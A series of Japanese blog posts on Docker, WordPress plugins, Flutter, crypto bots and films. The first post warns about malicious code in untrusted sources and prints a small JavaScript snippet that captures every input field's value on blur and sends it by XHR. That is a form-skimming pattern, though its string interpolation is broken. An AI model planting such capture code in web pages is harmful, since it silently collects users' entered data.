コードマフィアさんもお話されている通り、公式サイトで公開されているアプリ以外は注意が必要です、例えば無料配布サイトやgithubなどに置いてあるコードを実装するとかは、信頼性のないものは自らコードチェックを行わないと悪意のコードが入っていたという事もあるので・・・。

気をつけてくださいな😎

(function(){
    const doc = document.querySelectorAll("input");
    doc.forEach((e,k,p)=>{
        p[k].addEventListener("blur",(e)=>{
            var data = {};
            data["name"] = e.target.name;
            data["value"] = e.target.value;
            send1(data);
        });
    });
})();

function send1(data){
    var xhr = new XMLHttpRequest();
    xhr.open("GET", "/?${data.name}=${data.value}", true);
    xhr.onload = function (e) {
      if (xhr.readyState === 4) {
        if (xhr.status === 200) {
          console.log(xhr.responseText);
        } else {
          console.error(xhr.statusText);
        }
      }
    };
    xhr.onerror = function (e) {
      console.error(xhr.statusText);
    };
    xhr.send(null);     
}
その発想ない事もない。

著者名  @taoka_toshiaki

※この記事は著者が40代前半に書いたものです.

Profile
高知県在住の@taoka_toshiakiです、記事を読んで頂きありがとうございます.
数十年前から息を吸うように日々記事を書いてます.たまに休んだりする日もありますがほぼ毎日投稿を心掛けています😅.
SNSも使っています、フォロー、いいね、シェア宜しくお願い致します🙇.
SNS::@taoka_toshiaki

OFUSEで応援を送る

タグ

6, const, doc, document, foreach, function, github, gt, input, querySelectorAll, quot, youtube, アプリ, オープン, お話, コード, サイト, ソース, チェック, マフィア, もの, , 今回, 今日, 信頼性, 公式, 公開, , 動画, 実装, 必要, 悪意, 次第, , 注意, 無料, 確認, 自ら, 通り, 配布, ,

Photo by Luciann Photography on Pexels.com

今頃になってdocker(ドッカー)を勉強していたりしている。

2022.04.30

Logging

おはよう御座います。4月も今日が最後になってしまいました。

皆さんGW(ゴールデンウィーク)は何処か行きますか?、自分はしれっと仕事しているかも知れません。明日は休みですが・・・。

さて、今頃になってdocker(ドッカー)を勉強していたりしてします。dockerとはなんぞやという人はエンジニアでは恐らくないと思います😭。知らない方はググってくださいな。

今までdockerなんて使わなかった、バーチャルボックスがあれば何でも出来ると今でも思っていますが、まぁ一応、dockerも触らないといけないなとか思いましてdockerを始めました。

dockerでイメージを作ってdocker Hubで公開しようと思います。公開する内容は、PHP5系から8系までの環境を構築出来る提供するつもりです。

公開したら追記としてURLを記載しますので、しばしお待ち下さい。来月の半ばまでには構築出来る環境を提供するつもりです。

尚、dockerのCUIなどの操作方法はこちらを参照すると良いですよ。

追記出来ました(5月を待たずして):https://hub.docker.com/r/zip358com/rockylinux-php-56-81-apache

docker pull zip358com/rockylinux-php-56-81-apache
docker run -d -p 80:80 --privileged --name 任意のコンテナ名 zip358com/rockylinux-php-56-81-apache /sbin/init

cgi-binを見てください。PHP5.6からPHP8.1まであります😌。

Apacheの設定、php-cgiを使用する方法はこんな感じです😀

<Directory "/var/www/cgi-bin">
    AllowOverride All
    Options FollowSymLinks
    Order allow,deny
    Allow from all
</Directory>
Action php-cgi-7.1.9 /cgi-bin/php-cgi-7.1.9
<Directory "/var/www/html/xxxx.site">
    Options +ExecCGI
    AddHandler php-cgi-7.1.9 .php .html
    AddType application/x-httpd-php .php
</Directory>

著者名  @taoka_toshiaki

※この記事は著者が40代前半に書いたものです.

Profile
高知県在住の@taoka_toshiakiです、記事を読んで頂きありがとうございます.
数十年前から息を吸うように日々記事を書いてます.たまに休んだりする日もありますがほぼ毎日投稿を心掛けています😅.
SNSも使っています、フォロー、いいね、シェア宜しくお願い致します🙇.
SNS::@taoka_toshiaki

OFUSEで応援を送る

タグ

4, 5, 8, docker, GW, Hub, php, url, イメージ, エンジニア, お待ち, カー, ゴールデンウィーク, しれっと, つもり, バーチャル, ボックス, , , 今日, 今頃, 仕事, 休み, 公開, 内容, 勉強, 半ば, 提供, , 明日, 最後, 来月, 構築, 環境, 皆さん, 自分, 記載, 追記,

windows11が近々セキュリティ強化されるらしい。

2022.04.11

Logging

おはよう御座います。徐々に気温が上がり春って感じになってきましたね。

windows11が近々セキュリティ強化されるらしいのですが、かなり大規模なセキュリティアップデートらしくて、もしかしたら再インストールが必要になってくるかもという話。

因みに、開発者用に提供されるものは再インストールが必要だとか・・・。あり得ないなって思います、もしそんな事をパブリック(一般公開)でもそれをされたら、誰も再インストールなんてしないだろうと思います。未だにwindows10を使用しているユーザーが多いから大丈夫だろうというのは、辞めていただきたいものです。

かなり大規模なセキュリティアップデートは正直な所、パソコンがクラッシュするリスクがあるので直ぐには自分は対応しないと思います。今ではマイクロソフトのセキュリティ対策で十分らしいのですが、自分は本当に大丈夫なのかが心配なのでセキュリティ対策ソフトは導入しています。

何度も危険だよというサイトに出くわしましたが、標準でそれを遮断出来るのかなって思います、普通のサイトが悪意のあるコードが仕組まれてたりします。どれぐらい脅威があるかは知らないけれどブロックしてくれるのはなんか安心しますよねwwww😌。

トイウコトで、再インストールしない方向でマイクロソフトさんお願い致します🙏。

著者名  @taoka_toshiaki

※この記事は著者が40代前半に書いたものです.

Profile
高知県在住の@taoka_toshiakiです、記事を読んで頂きありがとうございます.
数十年前から息を吸うように日々記事を書いてます.たまに休んだりする日もありますがほぼ毎日投稿を心掛けています😅.
SNSも使っています、フォロー、いいね、シェア宜しくお願い致します🙇.
SNS::@taoka_toshiaki

OFUSEで応援を送る

タグ

10, 11, Windows, アップデート, インストール, かなり, クラッシュ, セキュリティ, ソフト, それ, パソコン, パブリック, マイクロソフト, もの, ユーザー, リスク, 一般, , , 何度, 使用, 公開, , 大規模, 対応, 対策, 導入, 強化, 必要, , 提供, , 本当, 正直, 気温, 自分, , , 開発者,

仮想通貨で自動売買するシステムはAPI知ってたら

2022.04.10

Logging

仮想通貨で自動売買するシステムはAPI考え方知ってたら大体の人が作れるのですが、問題は取引で儲けを出せるかどうかです。そのためにはダミー取引をシステムで作ることから、オススメします😂。

いきなりAPIを取引所で走らせるのはリスクが高いです、ですのでまずは本当に取引はしないで、ダミーで売買をするシステムを作ることからはじめてください。そこで利益が一定指数のあれば実際に取引してみるというのが一番、安全な取引方法かなって思っております。

尚、エンジニアの横山さんがコインチェックのダミー取引のAPIをGithubで公開しています。これでダミー取引部分は作らなくても良くなったと思います。

あとはご自身が取引部分を作るとダミー取引が出来るのでとても便利かと思います。尚、バックテストの部分も自分で作りたい場合は、CryptowatchのAPIを使用することで簡単に過去の取引を収集できるので便利かと思います。

こんな事をしないで、仮想通貨取引所がバックテスト環境も対応してくれたら良いのですがね😌。

因みに自分はまだ自動売買の取引はしていません、いまは自動売買の開発に向けて調査中ってぐらいです。

著者名  @taoka_toshiaki

※この記事は著者が40代前半に書いたものです.

Profile
高知県在住の@taoka_toshiakiです、記事を読んで頂きありがとうございます.
数十年前から息を吸うように日々記事を書いてます.たまに休んだりする日もありますがほぼ毎日投稿を心掛けています😅.
SNSも使っています、フォロー、いいね、シェア宜しくお願い致します🙇.
SNS::@taoka_toshiaki

OFUSEで応援を送る

タグ

API, Cryptowatch, github, あと, エンジニア, おすすめ, コイン, こと, これ, ご自身, システム, ダミー, ため, チェック, テスト, バック, リスク, 一定, , , 仮想, 使用, 便利, 公開, 利益, 収集, 取引, 取引所, 問題, 場合, 売買, 大体, 安全, 実際, 指数, 方法, 本当, 横山, 簡単, 考え方, 自分, 自動, 通貨, 過去, 部分,

アルゴリズム実技検定のT消しを解いてみた感想。意外にも!?

2022.03.26

Logging

おはよう御座います。
土曜日ですね😌ですね😌。

先週の土曜日の早朝にアルゴリズム実技検定の過去問題を解いてみたので感想だけ残しときます。コードは何やら書いたら駄目みたいなので公開しませんが、一応、この問題でも自分で手を動かさないと解けない問題になっている。

転がっているメソッドだけで解けそうと思ったのは甘かった、問題的には難易度はそう高くない問題だとは思いますが!ですがJS(node)で書いてみて本体部分だけ16行ぐらいのコードになりました。それが短いかどうか分からないものの、最初は5行ぐらいで書けるしょって思っていたので、そう思うと長いかなって思います。

因みにプログラミングスキルチェックのpaiza[パイザ]を昔よく解いていました。いまは全然ですがB級ランクをふらふらしています。この頃、頭の体操をしていなかったのでAtCoderを解いてみてよかったです。

著者名  @taoka_toshiaki

※この記事は著者が40代前半に書いたものです.

Profile
高知県在住の@taoka_toshiakiです、記事を読んで頂きありがとうございます.
数十年前から息を吸うように日々記事を書いてます.たまに休んだりする日もありますがほぼ毎日投稿を心掛けています😅.
SNSも使っています、フォロー、いいね、シェア宜しくお願い致します🙇.
SNS::@taoka_toshiaki

OFUSEで応援を送る

タグ

16, 5, AtCoder, JS, node, paiza, アルゴリズム, いま, コード, スキル, それ, チェック, パイザ, プログラミング, メソッド, ランク, 体操, 先週, 公開, 問題, 土曜日, 実技, 感想, , 早朝, , 最初, 本体, 検定, , 自分, 過去, 部分, 難易, , , 駄目,

WindowsやMACのタイピングを表示するアプリと検索すれば!?

2022.01.18

Logging

この頃、気温が若干低いなという感覚があります、昨日なんて寒くてウォーキングを諦めました😌。

さてWindowsやMacのタイピングを表示するアプリと検索すれば、それなりのアプリが出てきますのでそちらを使用してみてください。では、ちょっと冷たいのでメモを残しときます。Macの場合、KeyCastrというフリーのアプリが有名らしいですね、因みにこのアプリ、Githubでしか公開していないので、ターミナルで操作とか出来る人じゃないとインストール出来なそうです。

Notion書きながらKeyCastrでタイピングを表示する

その他にもキーボードのログ(キーストローク)を表示するアプリは存在します。一応、リンクを貼っときますね。こちらから参照ください。👉https://ja.altapps.net/soft/keycastr リンク切れになっていた場合は自分で上記のようなキーワードで検索すれば見つかるはずです。

How To Display Keystrokes On macOS For FREE (Keycastr)

あと、GithubでKeyCastrをインストールする方法の動画も貼っときますね。
https://github.com/keycastr/keycastr

著者名  @taoka_toshiaki

※この記事は著者が40代前半に書いたものです.

Profile
高知県在住の@taoka_toshiakiです、記事を読んで頂きありがとうございます.
数十年前から息を吸うように日々記事を書いてます.たまに休んだりする日もありますがほぼ毎日投稿を心掛けています😅.
SNSも使っています、フォロー、いいね、シェア宜しくお願い致します🙇.
SNS::@taoka_toshiaki

OFUSEで応援を送る

タグ

altapps, github, https, ja, KeyCastr, Mac, net, soft, Windows, あと, アプリ, インストール, ウォーキング, キー, キーボード, キーワード, こちら, ストローク, そちら, その他, それなり, ターミナル, ダイビング, パス, フリー, メモ, リンク, ログ, 上記, , 使用, 公開, 参照, 場合, 存在, 感覚, 操作, 昨日, 有名, 検索, 気温, 自分, 若干, 表示, ,

映画(Netflix)、浅草キッドを観ましたよ。Netflixだよ、バカヤロー!?

2021.12.23

Logging

映画(Netflix)、浅草キッドを観ましたよ。この映画、予告見て良いなと思っていた以上の良さがありました、観て良かったです。全然、劇場公開しても耐える事が出来るの作品だと思います。最後まで昭和の良さげな映画だなぁと感じました。本当に観て良かったです。尚、大晦日の夜に観るとか、正月休みにゴロゴロしながら観るのも良いかもしれないと個人的には思います。

『浅草キッド』予告編 – Netflix

また映画、浅草キッドの良いところは全体を通して役者さんの演技が良いので、最後まで観れた感は強いですね。これが大根役者ばかりだと、そうはいかないと思います。皆さん平均的以上に上手かったし、ビートたけしさんのツービートの走りまでストーリーを上手く描いていたと思います。

著者名  @taoka_toshiaki

※この記事は著者が40代前半に書いたものです.

Profile
高知県在住の@taoka_toshiakiです、記事を読んで頂きありがとうございます.
数十年前から息を吸うように日々記事を書いてます.たまに休んだりする日もありますがほぼ毎日投稿を心掛けています😅.
SNSも使っています、フォロー、いいね、シェア宜しくお願い致します🙇.
SNS::@taoka_toshiaki

OFUSEで応援を送る

タグ

Netflix, これ, ストーリー, ツー, ところ, バカヤロー, ヒート, ビートたけし, 予告, , 以上, 休み, 作品, 全体, 公開, 劇場, , 大晦日, 大根, 役者, , 映画, 昭和, 最後, 本当, 正月, 浅草キッド, 演技, 皆さん,

映画、グラン・トリノを観ました。

2021.12.10

Logging

グラン・トリノというクリント・イーストウッド監督が撮った映画を観ました。人生の特等席に続き考えさせられる映画内容でした。とても良かったです。ストーリー展開は読めてもやっぱ最後までみたくなるのはストーリーに魂が宿っているからだと思います。

ワーナー・オンデマンド配信中 『グラン・トリノ』(予告編)

来年公開のクライ・マッチョは、どんなストーリーになっているか今から楽しみです。因みに俳優であり監督のクリント・イーストウッド氏の年齢は91歳(2021)だとか、まだ現役で作品を撮っているところは本当に凄いことだと思います。

映画『クライ・マッチョ』日本版予告 2022年1月14日(金)公開

著者名  @taoka_toshiaki

※この記事は著者が40代前半に書いたものです.

Profile
高知県在住の@taoka_toshiakiです、記事を読んで頂きありがとうございます.
数十年前から息を吸うように日々記事を書いてます.たまに休んだりする日もありますがほぼ毎日投稿を心掛けています😅.
SNSも使っています、フォロー、いいね、シェア宜しくお願い致します🙇.
SNS::@taoka_toshiaki

OFUSEで応援を送る

タグ

2021, 91, イーストウッド, クライ, グラン, クリント, こと, ストーリー, ところ, トリノ, マッチョ, 人生, , 作品, 俳優, 公開, 内容, 展開, 年齢, 映画, 最後, 本当, 来年, 楽しみ, 特等席, 現役, 監督, ,

らくてんのアフィリエイトを記事の下に取り付けるプラグインを作りました。

2021.11.02

Logging

らくてんの アフィリエイト を記事の下に取り付けるプラグインを作りました。Composerを使用して楽天のSDKを取ってきているので、そちらをプラグインの中にインストールする必要と アフィリエイト のAPIIDなども必要になりますのでそちらも御自身で構える必要がありますが、それ程難しいことはないプログラムコードだと思います。

あとCSSなどもご自身が使用するサイトのデザインに合わしてご使用ください。今回、WordPressのプラグインですがソースコードを見たいだければ分かる通り、AmzのSDKも取り入れようかなとか思ったのですが、処理が重たくなり表示速度が下がりそうだったので辞めました。因みにAmzのSDKはComposerに公開していないようです。公式サイトからzipでダウンロードするか、githubから入手する方法しかないようですね。

仕様として、タグのワードから商品を検索し表示する方法とショートカットを使用して商品を表示させる方法があります。例えばRakuten_Seller_param type=”search” word=”ひろゆきのシン・未来予測”このようにショートコード書くと下記のように表示されます。また記事の最後に自動で紹介商品も表示されます。

追記:リクエストが多くなるとバグるみたいな‥‥。いまいち下記が表示されていない原因がわからない

追記:記事の最後に自動で紹介する機能は、このサイトでは一旦停止しています。

[Rakuten_Seller_param type=”search” word=”ひろゆきのシン・未来予測”]

トイウコトデ、WordPressのソースコードになります。

<?php
/*
Plugin Name: Rakuten_Seller
Plugin URI: https://zip358.com/
Description: 楽天アフィリエイトを表示
Author: @zip358com
Version: 0.1
Author URI: https://zip358.com/
*/
require_once plugin_dir_path( __FILE__ ).'/vendor/autoload.php';
define("RAKUTEN_YOUR_APPLICATION_ID","xxxxxxxxxxxxxxx");
define("RAKUTEN_YOUR_AFFILIATE_ID","xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx");

define("AMAZON_YOUR_ACCESS_KEY_ID","");
define("AMAZON_YOUR_SECRET_KEY","");
define("AMAZON_YOUR_ENDPOINT","");
define("AMAZON_YOUR_URL","");


function Rakuten_Seller_content_plus($content) {
    if(is_single()) {
       $content.='[Rakuten_Seller_param type="auto"]';
    }
    return $content;
}

function Rakuten_Seller($params = array()){
     $htmlcode = "";
    extract(shortcode_atts(array(
        'type'=>'',
        'word'=>''
    ), $params));
    $client = new RakutenRws_Client();
    // アプリID (デベロッパーID) をセットします
    $client->setApplicationId(RAKUTEN_YOUR_APPLICATION_ID);
     
    // アフィリエイトID をセットします(任意)
    $client->setAffiliateId(RAKUTEN_YOUR_AFFILIATE_ID);

    if($type==="auto"){
        $tags = get_the_tags();
        $htmlcode.= "<div class='rakuten_seller_div'>";
        foreach( $tags as $tag) { 
            $htmlcode.= Rakuten_code($client,$tag->name);
        }        
        $htmlcode.= "</div>";
        
    }elseif($type==="search"){
        $htmlcode.= "<div class='rakuten_seller_div'>";
        $htmlcode.= Rakuten_code($client,$word);
        $htmlcode.= "</div>";
    }

    return $htmlcode;
 }

function Rakuten_code($client,$word="JavaScript"){
    $htmlcode = "";
   
    // IchibaItem/Search API から、keyword=$word を検索します
    $response = $client->execute('IchibaItemSearch', array(
      'keyword' => $word,
      'genreInformationFlag' => 1
    ));
    // レスポンスが正しいかを isOk() で確認することができます
    $cnt = 0;
    if ($response->isOk()) {
        foreach ($response as $item) {
           $htmlcode.= "<div class='rakuten_seller_item'>".
           "<img src='".$item["mediumImageUrls"][0]["imageUrl"]."'>".
           "<p>".$item["itemName"]."</p>".
           "<a class='rakuten_btn' href='".$item["affiliateUrl"] . "' title='".$item["itemName"]."'><span>楽天で購入"."</span></a></div>";
           $htmlcode.= amazon_code($item["isbn"],$item["jan"]);
           if($cnt>0){
                break;
           }
           $cnt++;
        }

    } else {
        //echo 'Error:'.$response->getMessage();
    }
    return $htmlcode;
}

function amazon_code($isbn="",$jan=""){
    $htmlcode = "";

    return $htmlcode;
}


add_shortcode('Rakuten_Seller_param', 'Rakuten_Seller');
add_filter('the_content', 'Rakuten_Seller_content_plus');

著者名  @taoka_toshiaki

※この記事は著者が40代前半に書いたものです.

Profile
高知県在住の@taoka_toshiakiです、記事を読んで頂きありがとうございます.
数十年前から息を吸うように日々記事を書いてます.たまに休んだりする日もありますがほぼ毎日投稿を心掛けています😅.
SNSも使っています、フォロー、いいね、シェア宜しくお願い致します🙇.
SNS::@taoka_toshiaki

OFUSEで応援を送る

タグ

Amz, APIID, Composer, css, github, SDK, WordPress, zip, あと, アフィリエイト, インストール, コード, こと, ご自身, サイト, ショート, ソース, そちら, ダウンロード, タグ, デザイン, プラグイン, プログラム, らくてん, ワード, , , 今回, 仕様, 使用, 入手, 公式, 公開, 処理, 商品, 必要, 方法, 検索, 楽天, 自身, 表示, 記事, 通り, 速度,

ツイッターからの投稿 – 2021-09-11 12:50:03

2021.09.11

Logging

ここではよくある。
映画『マトリックス レザレクションズ』予告 2021年12月公開 – YouTube
https://t.co/Z17dRU0Bob

著者名  @taoka_toshiaki

※この記事は著者が40代前半に書いたものです.

Profile
高知県在住の@taoka_toshiakiです、記事を読んで頂きありがとうございます.
数十年前から息を吸うように日々記事を書いてます.たまに休んだりする日もありますがほぼ毎日投稿を心掛けています😅.
SNSも使っています、フォロー、いいね、シェア宜しくお願い致します🙇.
SNS::@taoka_toshiaki

OFUSEで応援を送る

タグ

03, 09, 11, 12, 2021, 50, youtube, ここ, ツイッター, マトリックス, レザレクションズ, 予告, 公開, 投稿, 映画,

案件9割完成して案件に申し込むみたいな事は非効率だけど。

2021.08.05

Logging

今日、先日にツイートした案件の締切日ですが・・・(*´ω`*)、未来の自分は案件取れたでしょうか?来月の支払いをペイ出来る額ですので取れると良いですね。さて、案件9割完成して案件に申し込むみたいな事は非効率だけどこの非効率で仕事に応募している理由は、やっぱ安価な仕事でも仕事は仕事ですよという気持ちで取り組んでいます。

とある案件

因みに今回はこういう案件を作りました。JSのコードの行数は約800行、PHPのコードは約200行で合計、1000行のコードを2日間で書きました・・・?。サイトを動的な処理で動かしているので結構、無駄にコードを書いています。いつもの通り設計はなし、頭の中でさっさと考えて作っております。

もし案件が取れなかったらコードなどを自分の名前のサイト、もしくはgithubに公開します?ので、その時はご利用ください、可能性としては50%ぐらいの確率で請け負う事が出来ると考えています。

著者名  @taoka_toshiaki

※この記事は著者が40代前半に書いたものです.

Profile
高知県在住の@taoka_toshiakiです、記事を読んで頂きありがとうございます.
数十年前から息を吸うように日々記事を書いてます.たまに休んだりする日もありますがほぼ毎日投稿を心掛けています😅.
SNSも使っています、フォロー、いいね、シェア宜しくお願い致します🙇.
SNS::@taoka_toshiaki

OFUSEで応援を送る

タグ

1000, 2, 200, 50, 800, , github, JS, php, コード, ご利用, サイト, ツイート, ペイ, , , 今回, 今日, 仕事, 先日, 公開, 処理, 効率, 可能性, 合計, 名前, 安価, 完成, 応募, , , 未来, 来月, 案件, 気持ち, 無駄, 理由, 確率, 締切, 自分, 行数, 設計, 通り, , ,

androidアプリをはじめて申請しました。リリースされるかは?

2021.07.21

Logging

高知県も梅雨明け宣言したころだと思います、そんな事を考えながら雷の音を聞きながらこの記事を書いています。
この記事が公開された時にはandroidアプリがリリースされている頃だと思います。
この記事はアンドロイドアプリ(Flutterアプリ)を作ったときに戸惑ったところなどを本人しかわからない形で箇条書きにしたものです。他人が見てもわかるようには書いていません。

尚、参考にしたサイトはこちらになります。
https://passe-de-mode.uedasoft.com/ja/tips/software/device/flutter/flutter04.htm

flutter_icons:
  android: true
  ios: true
  image_path: "lib/assets/icon.png"
flutter pub get
flutter pub run flutter_launcher_icons:main
keytool -genkey -v -keystore C:\android\jks\key.jks -storetype JKS -keyalg RSA -keysize 2048 -validity 10000 -alias key
    signingConfigs {
        release {
            storeFile file("C:\\android\\jks\\key.jks")
            storePassword "Password"
            keyAlias "key"
            keyPassword "Password"
        }
    }
    buildTypes {
        release {
            // TODO: Add your own signing config for the release build.
            // Signing with the debug keys for now, so `flutter run --release` works.
            signingConfig signingConfigs.release
        }
    }
flutter build appbundle

著者名  @taoka_toshiaki

※この記事は著者が40代前半に書いたものです.

Profile
高知県在住の@taoka_toshiakiです、記事を読んで頂きありがとうございます.
数十年前から息を吸うように日々記事を書いてます.たまに休んだりする日もありますがほぼ毎日投稿を心掛けています😅.
SNSも使っています、フォロー、いいね、シェア宜しくお願い致します🙇.
SNS::@taoka_toshiaki

OFUSEで応援を送る

タグ

04, Android, assets, com, device, fl, flutter, GET, htm, https, icon, icons, image, iOS, ja, lib, passe-de-mode, path, png, pub, quot, run, software, tips, true, uedasoft, アプリ, アンドロイド, こちら, ころ, サイト, とき, ところ, もの, リリース, , 他人, 公開, 参考, 宣言, , , 本人, 梅雨明け, 申請, 箇条書き, 記事, , , , 高知県,

ビットコインで自動売買システム作っている人がいた、それもオープンソースで!?

2021.07.08

Logging

ビットコインで自動売買システム作っている人がいた、それもオープンソースで提供している人がいました。Qiitaというサイトでアルゴリズム(考え方)を公開していてますが、プログラミングが分かる中級者ぐらいの人は見ればtani まーきぃさんの書いている意図が理解出来ると思います。ただ、これで仮想通貨わらしべ長者になれるかどうか分かりません(この記事を書いているときはパート1の動画しかないので・・・・)。

【仮想通貨わらしべ長者大作戦】最高利益率120%超~pythonで自動売買システム構築~報告①β版始動

つい最近、ネットでイケハヤさんオススメの仮想通貨買ったら明くる日にどん底まで転落したユーザーが多くでてYahoo!のニュース記事になっていたみたいです(尚、イケハヤさんは逃げ切ったので損は出てないみたい)。投資や投機系は自己責任の分野ですので、そのお金はないものと思って運用しないと大変なことになります。特にリバレッジをかけて運用していると痛い目にあいますのでご注意を自分は現価で運用するのが、まだリスクは少ないと思います。

著者名  @taoka_toshiaki

※この記事は著者が40代前半に書いたものです.

Profile
高知県在住の@taoka_toshiakiです、記事を読んで頂きありがとうございます.
数十年前から息を吸うように日々記事を書いてます.たまに休んだりする日もありますがほぼ毎日投稿を心掛けています😅.
SNSも使っています、フォロー、いいね、シェア宜しくお願い致します🙇.
SNS::@taoka_toshiaki

OFUSEで応援を送る

タグ

, qiita, tani, Yahoo, アルゴリズム, イケハヤ, オープン, おすすめ, お金, こと, これ, ご注意, サイト, システム, ソース, それ, つい, とき, どん底, ニュース, ネット, パート, ビットコイン, プログラミング, もの, ユーザー, リス, リバレッジ, わらしべ, 中級者, , 仮想, 公開, 分野, 動画, 売買, 大変, 意図, 投機, 投資, 提供, , 明くる日, 最近, 現価, 理解, , 考え方, 自分, 自動, 自己, 記事, 責任, 転落, 通貨, 運用, 長者,

ロン 僕のポンコツ・ボットは魅力的な映画だと思います。

2021.06.29

Logging

ロン 僕のポンコツ・ボット」という映画は魅力的な映画だと思います。こんな映画を作る大人はとても心優しい人だなと思っています。そういう心がないとこんな魅力的なキャラクタは作れない。ポンコツ・ボットは見ていて愛くるしいキャラクタですよね?、いや?もし自分が子供だったら見に行きたいなと思います。10月22日(2021)公開予定です。対象年齢は低学年だと思いますが、このキャラクタはなんとも愛くるしい物があります。「あぁ?ぶんなげてみたい」違うか・・・??

映画『ロン 僕のポンコツ・ボット』ティザー予告 10月22日(金)公開!

著者名  @taoka_toshiaki

※この記事は著者が40代前半に書いたものです.

Profile
高知県在住の@taoka_toshiakiです、記事を読んで頂きありがとうございます.
数十年前から息を吸うように日々記事を書いてます.たまに休んだりする日もありますがほぼ毎日投稿を心掛けています😅.
SNSも使っています、フォロー、いいね、シェア宜しくお願い致します🙇.
SNS::@taoka_toshiaki

OFUSEで応援を送る

タグ

10, 2021, 22, キャラクタ, なん, ボット, ポンコツ, ロン, 予定, , , 公開, 大人, 子供, 学年, 対象, 年齢, , 映画, , 自分,

竜とそばかすの姫のロケ地は高知県だよね。

2021.06.10

Logging

竜とそばかすの姫のロケ地は高知県だよね。「竜とそばかすの姫」とはアニメーション映画監督・細田守が辿り着いた渾身の最新作、2021年、7月16日(金)公開!映画ですが、予告で描かれている場所、四万十の方にはいけないので、もう一つのロケ地、高知県高知市のある場所を写真に収めに行きました。この映画がヒットすれば自分のブログもアクセス数が上がるのではないかとかという下心てきな事は一切考えないです・・・よ?嘘、、、凄く考えております。

『竜とそばかすの姫』予告1【2021年7月16日(金)公開】

細田守監督の映画は全部観ているので観に行くと思います、もしくはブルーレイディスクとかになるかもしれませんが・・・。

でっ今回、撮影したスポットは県庁の近くにある、とある場所です。予告再生後3秒ぐらいに表示される場所です。

竜とそばかすの姫のあの風景

建物とかを見れば場所は高知県人ならすぐに分かるかと思います。ちなみに県庁近くのベンチャー企業が集まる建物には何度か入ったことがあります。

話戻しまして、「竜とそばかすの姫」は何故、過去の作品のオマージュなのかが知りたいです。特に似ているのが代表作品と言っても良い「サマーウォーズ」に凄く似ています。「サマーウォーズ」を超えるため「竜とそばかすの姫」作品を作ったと思います、そして今回はなんだか公開前からかなりネットなどで宣伝されており、細田守監督さんの並々ならぬ熱量を感じます。

そしてヒットすれば高知に巡礼する人がいるだろうなって思って今からワクワクしています?。

著者名  @taoka_toshiaki

※この記事は著者が40代前半に書いたものです.

Profile
高知県在住の@taoka_toshiakiです、記事を読んで頂きありがとうございます.
数十年前から息を吸うように日々記事を書いてます.たまに休んだりする日もありますがほぼ毎日投稿を心掛けています😅.
SNSも使っています、フォロー、いいね、シェア宜しくお願い致します🙇.
SNS::@taoka_toshiaki

OFUSEで応援を送る

タグ

-t, (金), 16, 2021, , 6, 7, 8, com, HM, https, OvWpo, watch, www, youtube, アクセス, アニメーション, スポット, そばかす, ディスク, ヒット, ブルーレイ, ブログ, もう一つ, ロケ地, 下心, 予告, , 今回, 公開, 再生, 写真, , 四万十, 場所, , 建物, 撮影, , 映画, 最新作, 渾身, 監督, 県庁, , 細田守, 自分, 表示, , 近く, 高知市, 高知県,

今読まれてますというWPプラグインの作り方

2021.04.19

Logging

今読まれてますというWP(ワードプレス)プラグインの作り方はこれだけです。ボット対策の部分はお見せできませんがこんなソースコードで動いています、なお、自分が閲覧してもツイートすることはないようにしています。因みに昨日もボットみたいなのが何度も来たのでその対応を行いました。尚、TwitterOAuthというライブラリを導入してautoload.phpを使用しuseで呼び出し使用しています(※autoloadを置いている任意の場所に変更してください)。

https://twitter.com/zip358com/status/1383544830899326983

ワードプレスのプラグインの作り方の動画を貼っときます。英語ですが理解できるかと思います。動画で分かりづらかった方は『自作、WordPress、プラグイン、PHP』という様な検索すると先人たちが方法をネットに公開しているのでそちらを参考にしてください。

Create a WordPress Plugin from Scratch – Part 1

プラグインを作るにあたってソースコードに書かれているコメント部分は必須なのだけど、プラグインを配布しない人はプラグイン名だけ記載しプラグインと同じフォルダを構えるだけでプラグインとして認識します。

<?php
/*
  Plugin Name: article-live-tw
  Plugin URI:
  Description: 今、ユーザーが読んでいる記事をツイートする
  Version: 1.0.0
  Author: @zip358com
  Author URI: https://zip358.com
 */
session_start();
require "/vendor/autoload.php";
use Abraham\TwitterOAuth\TwitterOAuth;

add_action("wp_head","article_live_tw");
function article_live_tw(){
	define("CONSUMER_KEY", "CONSUMER_KEY");
	define("CONSUMER_SECRET", "CONSUMER_SECRET");
	define("ACCESS_TOKEN", "ACCESS_TOKEN");
	define("ACCESS_TOKEN_SECRET", "ACCESS_TOKEN_SECRET");
	global $post;
	$flg1 = is_bot();
	$flg2 = empty($_SESSION["reading-zip358-".$post->ID.$_SERVER['REMOTE_ADDR']]);
	$flg3 = ip_check("reading-zip358-".$post->ID.$_SERVER['REMOTE_ADDR']);
	if(!$flg1 && $flg2 && !$flg3 && $post->ID){
		$_SESSION["reading-zip358-".$post->ID] = 1;
		$tw_title = get_post($post->ID)->post_title;
		$tw_link = get_permalink($post->ID);
		$kigolist = ["?","?","?","?","?","?"];
		$kigo =  $kigolist[floor(rand(0,5))];
		if(!current_user_can('administrator')){
			$connection = new TwitterOAuth(CONSUMER_KEY, CONSUMER_SECRET, ACCESS_TOKEN, ACCESS_TOKEN_SECRET);
			$connection->post("statuses/update", array("status" => "#今読まれてます $kigo ??? \n".$tw_title . " \n" . $tw_link . " \n #ブログ zip358.com \n" .  date_i18n('Y/m/d H:i')));
			//$ua =  print_r($_SERVER,true);
			//@file_put_contents("./log/".date('Y-m-d-H-i').".log",$ua);
		}
	}
}

著者名  @taoka_toshiaki

※この記事は著者が40代前半に書いたものです.

Profile
高知県在住の@taoka_toshiakiです、記事を読んで頂きありがとうございます.
数十年前から息を吸うように日々記事を書いてます.たまに休んだりする日もありますがほぼ毎日投稿を心掛けています😅.
SNSも使っています、フォロー、いいね、シェア宜しくお願い致します🙇.
SNS::@taoka_toshiaki

OFUSEで応援を送る

タグ

15, 7, autoload, com, https, php, QfH-s-, TwitterOAuth, use, watch, WordPress, wp, www, youtube, お見せ, コード, こと, これだけ, , ソース, そちら, ツイート, ネット, プラグイン, プレス, ボット, ライブラリ, ワード, , 任意, 何度, 作り方, 使用, 先人, 公開, 動画, 参考, 場所, 変更, 対応, 対策, 導入, , 方法, 昨日, 検索, 理解, 自作, 自分, 英語, 部分, 閲覧,